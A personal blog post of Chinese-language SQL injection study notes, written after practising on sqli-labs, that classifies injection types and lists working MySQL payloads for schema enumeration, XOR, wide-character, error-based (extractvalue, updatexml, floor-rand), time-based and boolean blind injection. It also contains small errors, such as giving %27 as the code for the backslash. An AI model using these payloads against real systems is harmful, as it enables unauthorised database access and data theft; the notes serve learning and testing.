sql注入笔记

作者:太空独角兽    发布于:

sql注入笔记

在基本刷完sqlibs后对sql注入有了新的认识,我们在面对一个注入点要考虑的问题主要有:

  1. 确定过滤字符,单词
  2. 思考过滤的方法
  3. 选择注入方式

2018/11/11更新

在报错无法回显的情况下,我们就只能利用盲注。盲注的最重要的是选择确定表达式是否正确的方式,延时注入耗时大而且判断不准确。还是异或注入判断回显好用(当然回显易于区分的情况下)。

这篇笔记全是我整理的干货了。正常情况下更多的还是需要盲注,至于靠编码过waf我至今还没有学过,有空看看


sql注入分类

1.按数据类型分:

整形注入:不需要注释符进行闭合
字符型注入:需要单引号等的闭合,并进行注释

2.按注入语法分类:

union(可联合查询):
可使用union语句的情况下的注入
error-based(报错型):
页面返回错误信息和结果
boolean-based blind(布尔型盲注):
根据返回页面判断条件真假
time-based blind(基于时间延迟):
不能根据页面返回内容判断信息,用条件语句查看时间延时语句是否被执行
stacked queries(可多语句查询):
多语句一起查询

常用语句

payload的位置放的核心语句为:
获取数据库信息:

 concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))

获取数据库名:

 concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))

获取当前数据表名:

 concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1))

获取指定表中的字段名:

concat((select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名的HEX编码 LIMIT 0,1))

获取指定字段内容:

concat(((select (select concat(xxx) from xxx limit 1)))

MYSQL一些可以注入的点

异或注入

expression1^expression2^expression3

根据表达式所返回的布尔值进行异或运算得到的回显来判断表达式是否正确。异或注入在一些场合十分方便例如

....^(length(select)==0)^0

这个可以准确判断是否过滤了单词select,如过滤了(即第二个表达式的值也为0),则页面返回正确

宽字符注入

有点好用哦,这个利用是编码的特点来过转译,一般转译是在字符前加入”\”来,
众所周知”\”的ASCII是”%27”,当在%27前加入%bf得到的字符是%bf%27这就构造流量新的字符,“\”被成功吃掉,我们的字符也就不会被转译了

报错注入

报错注入 :

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
这个原理比较复杂这里是之前学习sqlibs的时候找的比较好的分析的文章传送们

函数报错注入 :

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat('@',(select @@version)),1)
这两个报错函数都是利用了xml的路径格式问题,利用了concat将要不符合的路径要求的字符和select子查询拼接以达到报错回显的目的。

延时注入

利用 sleep()函数进行注入:
1.

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

当错误的时候会有 5 秒的时间延时
2.

benchmark(N,expression): N-重复执行次数

这个函数是测试性能的函数,根据表达式执行的次数所耗费的中时间来判断我们的表达式是否执行正确。

布尔盲注

判断截断的字符的ASCII值:
ascii(substr(database(),1,1))>120 #直接判断
ascii(substr(database(),1,1))&128 = 128 #与判断false或者true,

也是根据页面回显来判断是否正确

format_list_numbered

(无)

  1. 1. sql注入笔记
    1. 1.0.1. sql注入分类
      1. 1.0.1.1. 1.按数据类型分:
      2. 1.0.1.2. 2.按注入语法分类:
    2. 1.0.2. 常用语句
  2. 1.1. MYSQL一些可以注入的点
    1. 1.1.0.1. 异或注入
    2. 1.1.0.2. 宽字符注入
    3. 1.1.0.3. 报错注入
    4. 1.1.0.4. 延时注入
    5. 1.1.0.5. 布尔盲注
vertical_align_top

Copyright © 2018 太空独角兽